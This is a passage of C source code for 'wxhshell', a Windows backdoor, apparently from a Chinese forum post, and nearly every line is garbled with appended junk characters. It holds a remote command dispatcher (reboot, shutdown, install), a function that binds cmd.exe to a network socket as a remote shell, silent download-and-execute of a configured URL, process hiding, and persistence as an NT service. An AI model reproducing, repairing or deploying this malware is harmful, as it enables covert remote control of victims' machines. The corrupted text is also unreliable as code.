]. IUQ*4t  
    switch(cmd[0]) { /"~CWNa  
  Av _1cvR:  
  // 帮助 p(v+j_ak  
  case '?': { ^E{~{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +g/y)]AP  
    break; g.s~Ph-G  
  } (m-(5 CaJ  
  // 安装 Hp8)-eT  
  case 'i': { ]gQgNn?  
    if(Install()) rts@1JY[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s0E:hn:  
    else &xj?MgdNL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZxwI< T:&  
    break; +'N?`l6<  
    } Z81]>  
  // 卸载 4@4$kro  
  case 'r': { :jT1=PfL  
    if(Uninstall()) U9y[b82  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L V?- g  
    else =Mc*~[D/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0%cbno@1V  
    break; <I&X[Sqp  
    } ?Sh]m/WZd[  
  // 显示 wxhshell 所在路径 =xw) [  
  case 'p': { 54-sb~]  
    char svExeFile[MAX_PATH]; &+xNR2";  
    strcpy(svExeFile,"\n\r"); p4fU/  
      strcat(svExeFile,ExeFile); K!).QB'  
        send(wsh,svExeFile,strlen(svExeFile),0); H .JA)*b-  
    break; *A@~!@XE4  
    } /Pxt f~$  
  // 重启 ';^VdR]fk  
  case 'b': { dArg'Dc4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TXv3@/>ZlG  
    if(Boot(REBOOT)) MIsjTKE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2h@/Q)z  
    else { <2fZYt vt  
    closesocket(wsh); VEkv JX.  
    ExitThread(0); quTM|>=_R  
    } & VJ+X|Z  
    break; [W ,Ej  
    } i ?%;s5<  
  // 关机 d!D#:l3;  
  case 'd': { yS0!#AG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X"z^4?Aj+  
    if(Boot(SHUTDOWN)) K pDKIi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f1rP+l-C<  
    else { QaH32(iH  
    closesocket(wsh); 5*/~) wN\U  
    ExitThread(0); 0>6J -   
    } Y^M3m' d?  
    break; H!y1&  
    } .D(H@3qA@  
  // 获取shell bg'Qq|<U  
  case 's': { Q_$aiE  
    CmdShell(wsh); Sp]"Xr)  
    closesocket(wsh); W;4rhZEgd  
    ExitThread(0); ]u?|3y^ (  
    break; z\]]d?d?;  
  } mXtsP1  
  // 退出 7?9QlUO  
  case 'x': { -|bnvPmE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M4w,J2_8MK  
    CloseIt(wsh); 3yX^93  
    break; r5M {*  
    } }^ +E S^~  
  // 离开 <~@}r\  
  case 'q': { LUc!a4i"fO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Za_w@o  
    closesocket(wsh); _ I"}3*  
    WSACleanup(); v*iD)k:|t  
    exit(1); <j,ZAA&5%Y  
    break; _C2iP[YwQ{  
        } 2w_[c.  
  } !'8.qs  
  } t6DgWKT6  
"Rr)1x7  
  // 提示信息 8s16yuM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <'N"GLJ  
} lHerEv<ja  
  } d0``:  
# 2;6!_  
  return; `yJ3"{uO  
} 4zKmoYt  
 vX1 8 ]  
// shell模块句柄 %;/?DQU  
int CmdShell(SOCKET sock) *lyy|3z  
{ cZC%W!pT  
STARTUPINFO si; ~+|Vzm|S}  
ZeroMemory(&si,sizeof(si)); _}+Aw{7!r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o-i9 :AHs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +lC?Vpi^  
PROCESS_INFORMATION ProcessInfo; ZDny=&>#  
char cmdline[]="cmd"; K93L-K^J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %4'<0  
  return 0; 0RFBun{  
} $-Iui0h  
D8X~qt/  
// 自身启动模式 ^G(U@-0..  
int StartFromService(void) =d`w~iC  
{ MTXh-9DA  
typedef struct ^E~F,]dV=  
{ rf?%- X(V  
  DWORD ExitStatus; T,@s.v  
  DWORD PebBaseAddress; *I]/ [d  
  DWORD AffinityMask; +2xgMN6B@  
  DWORD BasePriority; 9Xl[AVs:M  
  ULONG UniqueProcessId; sE^ee2]OI@  
  ULONG InheritedFromUniqueProcessId; B 703{k  
}   PROCESS_BASIC_INFORMATION; N_wj,yF*  
HOt,G _{  
PROCNTQSIP NtQueryInformationProcess; .>#X*u  
$Mg[e*ct  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E<RPMd @a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fofYe0z  
,="hI:*<  
  HANDLE             hProcess;   6a}  
  PROCESS_BASIC_INFORMATION pbi; GHNw.<`l?  
}fO+b5U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #ZkT![ `  
  if(NULL == hInst ) return 0; !,lk>j.V  
w.VjGPp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "hi d3"G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AjVX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e dTFk$0  
iX%9$Bft<  
  if (!NtQueryInformationProcess) return 0; 7f] qCZ<0V  
+[vI ocu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,>!%KYD/f  
  if(!hProcess) return 0; I'`90{I  
x52#md-Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ty<."dyPW  
unKPqc%q=n  
  CloseHandle(hProcess); e&nE  
_mWVZ1P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]*?lgwE  
if(hProcess==NULL) return 0; &&% oazR=  
@U+#@6  
HMODULE hMod; CY~ S{w  
char procName[255]; ]f{3_M[  
unsigned long cbNeeded; n g%~mt  
J6 J">  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2cEvsvw>  
z~"Q_gme  
  CloseHandle(hProcess); iD*21c<kd  
.(RZ&*4  
if(strstr(procName,"services")) return 1; // 以服务启动  .0YcB  
a8$4  
  return 0; // 注册表启动 3{)!T;Wd  
} OUq%d8 W  
A(_HM qA]  
// 主模块 nz|6CP  
int StartWxhshell(LPSTR lpCmdLine) e@Mg9VwDc  
{ Yt[LIn-v:  
  SOCKET wsl; B"YN+So  
BOOL val=TRUE; AL!ppi  
  int port=0; QLH!>9Ch  
  struct sockaddr_in door; IwXWtVL  
QJ&]4*>a  
  if(wscfg.ws_autoins) Install(); }.a{;{y  
Z`_x|cU?J  
port=atoi(lpCmdLine); yg.o?eML  
~&?57Sw*m  
if(port<=0) port=wscfg.ws_port; X J`*dgJ  
=r4sF!g  
  WSADATA data; Mz.C`Z>o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NH;e|8  
\ZM5J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /qKA1-R}4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cLEd -{x  
  door.sin_family = AF_INET; up{0ehr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4E2#krE%  
  door.sin_port = htons(port); Sg$\H  
?q7MbQw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DKJ_g.]X  
closesocket(wsl); n }b{u@$  
return 1; XV/7K "  
} _aYhW{wW  
#W6 6`{>  
  if(listen(wsl,2) == INVALID_SOCKET) { uH?dy55 Y  
closesocket(wsl); idB1%?<  
return 1; 0BNH~,0u  
} wmww7  
  Wxhshell(wsl); \q?^DI:`   
  WSACleanup(); F?$Vx)HI  
4#{f8  
return 0; XD?Lu _.  
v4Wq0>o  
} ~5&B#Sm[G  
wo+`WnDh  
// 以NT服务方式启动 z . Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mq#m;v$E  
{ 43E)ltR=]  
DWORD   status = 0; 9Nps<+K  
  DWORD   specificError = 0xfffffff; 1.M<u)1GU  
m 62Zta  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w[F})u]E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v-N4&9)%9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O}%E SAB  
  serviceStatus.dwWin32ExitCode     = 0; !ui t  
  serviceStatus.dwServiceSpecificExitCode = 0; JNY?] |=  
  serviceStatus.dwCheckPoint       = 0; *v%gNq  
  serviceStatus.dwWaitHint       = 0; `v@Z|rv,  
:-O$rm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u(FOSmNkN  
  if (hServiceStatusHandle==0) return; i6P}MtC1  
 Cu5_OJ  
status = GetLastError(); cpl Ny?UIC  
  if (status!=NO_ERROR) Ux1j+}y  
{ T9}~]zW7P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qSlo)aP  
    serviceStatus.dwCheckPoint       = 0; YzQ(\._s  
    serviceStatus.dwWaitHint       = 0; `y61Bz  
    serviceStatus.dwWin32ExitCode     = status; L*dGo,oN  
    serviceStatus.dwServiceSpecificExitCode = specificError; a_bZT4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7TEpjSuF  
    return; @`)>- k  
  } <p CD>  
_p0gXb1m`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [<5/s$,i  
  serviceStatus.dwCheckPoint       = 0; ? A;RTM  
  serviceStatus.dwWaitHint       = 0; o2B|r`R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZV:df 6S  
} ~"0{<mMcX  
.?rs5[th*  
// 处理NT服务事件,比如:启动、停止 b+q'xnA=>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *^Zt)U1$|  
{ Zn JJ-zP  
switch(fdwControl) NC!B-3?x  
{ +,,dsL  
case SERVICE_CONTROL_STOP: .wp[uLE  
  serviceStatus.dwWin32ExitCode = 0; GApvRR+Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Pq6X  
  serviceStatus.dwCheckPoint   = 0; cWyf04-?  
  serviceStatus.dwWaitHint     = 0; rz,,ku4qt  
  { A4|7^Ay  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BJ]L@L%  
  } bDIhI}P  
  return; *Gv:N6  
case SERVICE_CONTROL_PAUSE: wl%ysM| x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m' S{P:TK  
  break; % >a /m.$  
case SERVICE_CONTROL_CONTINUE: y`8U0TE3R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :R=7dH~r  
  break; ]hy@5Jyh  
case SERVICE_CONTROL_INTERROGATE: Du +_dr^4  
  break; Xs|d#WbX  
}; *;McX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9{U@s  
} 0[fBP\H"Wr  
@`+\v mfD  
// 标准应用程序主函数 Tc!n@!RA|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  6W  
{ aCH;l~+U  
]@cI_n  
// 获取操作系统版本 k%u fgHl!  
OsIsNt=GetOsVer(); GIkeZV{4}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a!4p$pR  
'5*&  
  // 从命令行安装 \!jz1`]&{  
  if(strpbrk(lpCmdLine,"iI")) Install(); j~S=kYrGM  
\2[tM/+Bs  
  // 下载执行文件 A@?-"=h}  
if(wscfg.ws_downexe) { !5h-$;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) & ^1 b]f  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~N}Zr$D  
} 4,W,E4 7  
J!RRG~  
if(!OsIsNt) { }@jJv||  
// 如果时win9x,隐藏进程并且设置为注册表启动 /=l!F'  
HideProc(); l&e{GHz  
StartWxhshell(lpCmdLine); O(-6Zqk8Q  
} ^8bc<c:P  
else YahW%mv`d  
  if(StartFromService()) T`j {2  
  // 以服务方式启动 55TFBDc  
  StartServiceCtrlDispatcher(DispatchTable); pO fw *lD  
else js;YSg{m  
  // 普通方式启动 gBWr)R  
  StartWxhshell(lpCmdLine); ollVg/z  
<Piq?&VX[  
return 0; \(=xc2  
}
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只看该作者 1 发表于: 2006-10-10
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